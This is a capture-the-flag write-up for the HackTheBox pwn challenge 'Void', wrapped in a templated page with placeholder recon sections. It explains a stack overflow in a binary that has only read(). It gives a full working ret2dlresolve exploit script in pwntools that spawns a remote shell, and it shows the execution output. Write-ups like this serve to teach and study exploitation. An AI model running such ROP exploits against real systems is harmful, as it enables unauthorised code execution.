← Back to Writeups
HTBN/APwn

Void

XESXOR8/23/20265 min read
#pwn#htb#n/a

Void

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: ret2dlresolve, rop_chain, stack_pivot

Summary

Task: Exploit a 64-bit binary with buffer overflow but no output functions (only read() in PLT). Solution: Use ret2dlresolve technique via pwntools Ret2dlresolvePayload to craft fake ELF dynamic linker structures that trick _dl_runtime_resolve into resolving system("/bin/sh"), bypassing the need for a libc leak.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260129_htb_void
  • Tags: buffer_overflow, rop, ret2dlresolve, no_leak, no_pie
  • Indicators: no output functions, only read() in PLT, partial RELRO, no PIE, buffer overflow
  • Source: 20260129_htb_void.md

Foothold

Vulnerability / Misconfiguration

  1. Ret2dlresolve
  2. Rop_chain
  3. Stack_pivot
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • ret2dlresolve
  • rop_chain
  • stack_pivot
  • Tags: buffer_overflow, rop, ret2dlresolve, no_leak, no_pie

Original Writeup

<details><summary>Click to expand original content</summary>

Description

64-bit ELF binary with a simple buffer overflow vulnerability. The challenge is that there are no output functions (puts/printf/write) in the binary - only read(). This makes traditional libc leaking impossible.

Binary properties:

  • 64-bit ELF
  • No PIE (fixed addresses)
  • No canary
  • Partial RELRO (GOT is writable)
  • NX enabled

Analysis

The vulnerable function is trivial:

void vuln() {
  char data[64];
  read(0, data, 200);  // reads 200 bytes into 64-byte buffer
}

Offset calculation:

  • Buffer: 64 bytes
  • Saved RBP: 8 bytes
  • Return address at offset: 72 bytes

The problem: Without output functions, we cannot leak libc addresses for a traditional ret2libc attack.

Failed Approaches

  1. ret2csu + partial GOT overwrite to system() - Tried overwriting read@got with system using 3-byte partial overwrite. Theoretically should work but failed after 300+ attempts due to ASLR randomization.

  2. ret2csu + one-gadget (0xc9611) - One-gadget constraints weren't satisfied in the execution context.

  3. SROP - Too complex for this challenge, requires specific register setup.

Solution: ret2dlresolve

ret2dlresolve is the perfect technique when:

  • No libc leak is possible (no output functions)
  • Partial RELRO (GOT is writable)
  • Have read() to write arbitrary data to memory
  • No PIE (fixed addresses for structures)

How ret2dlresolve works

The dynamic linker resolves function addresses lazily. When a function is called for the first time, it goes through PLT -> GOT -> _dl_runtime_resolve(). We can craft fake structures (Elf64_Sym, Elf64_Rela) that tell the linker to resolve system instead of a legitimate function.

Exploit Strategy

  1. Use buffer overflow to execute ROP chain
  2. ROP chain calls read(0, bss_area) to write our crafted dlresolve structures
  3. Trigger ret2dlresolve to resolve system("/bin/sh")

Working Exploit

#!/usr/bin/env python3
"""
Void - HackTheBox PWN Challenge
ret2dlresolve exploit

This technique tricks the dynamic linker into resolving a function
that is not linked to the binary (like system).
"""

from pwn import *
import sys

context.binary = "./challenge/void"
context.log_level = "info"

elf = context.binary

# Build ret2dlresolve payload
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh\0"])

# ROP chain:
# 1. read(0, dlresolve.data_addr) - read the dlresolve payload to memory
# 2. ret (for stack alignment)
# 3. ret2dlresolve - trigger the resolution and call system("/bin/sh")
rop.read(0, dlresolve.data_addr)
rop.raw(rop.ret[0])  # Stack alignment
rop.ret2dlresolve(dlresolve)

raw_rop = rop.chain()

print(f"[*] ROP chain length: {len(raw_rop)}")
print(f"[*] dlresolve payload length: {len(dlresolve.payload)}")
print(f"[*] dlresolve data_addr: {hex(dlresolve.data_addr)}")

# Connect
if len(sys.argv) > 1 and sys.argv[1] == "local":
    p = elf.process()
else:
    p = remote("83.136.250.108", 48538)

# Send overflow + ROP chain
# Offset to return address is 72 bytes (64 buffer + 8 saved rbp)
payload = b"A" * 72 + raw_rop
print(f"[*] Sending payload ({len(payload)} bytes)...")
p.send(payload)
sleep(0.5)

# Send dlresolve payload (will be read by the read() call in ROP chain)
print(f"[*] Sending dlresolve payload...")
p.send(dlresolve.payload)
sleep(0.5)

print("[+] Trying to get shell...")
p.sendline(b"id")
sleep(0.5)

try:
    response = p.recv(timeout=2)
    print(f"[+] Response: {response}")
    if b"uid" in response:
        print("[+] Got shell!")
        p.sendline(b"cat flag*")
        print(p.recv(timeout=2))
        p.interactive()
except:
    print("[-] No response, trying interactive...")
    p.interactive()

Execution Output

[*] ROP chain length: 88
[*] dlresolve payload length: 97
[*] dlresolve data_addr: 0x404e00
[+] Opening connection to 83.136.250.108 on port 48538: Done
[*] Sending payload (160 bytes)...
[*] Sending dlresolve payload...
[+] Response: b'uid=100(ctf) gid=101(ctf) groups=101(ctf)\n'
[+] Got shell!
b'HTB{REDACTED}\n'

Key Learnings

  1. ret2dlresolve is the go-to technique when there's no libc leak possible and only read() is available
  2. pwntools makes it trivial with Ret2dlresolvePayload class - no need to manually craft ELF structures
  3. The technique works because we can write arbitrary data to memory and the dynamic linker trusts the structures we craft
  4. Partial RELRO is key - Full RELRO would prevent this attack

References

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR